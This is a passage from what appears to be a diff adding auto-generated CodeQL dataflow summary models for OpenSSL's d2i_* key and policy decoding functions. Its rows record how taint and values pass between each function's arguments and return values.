True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_bio", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA 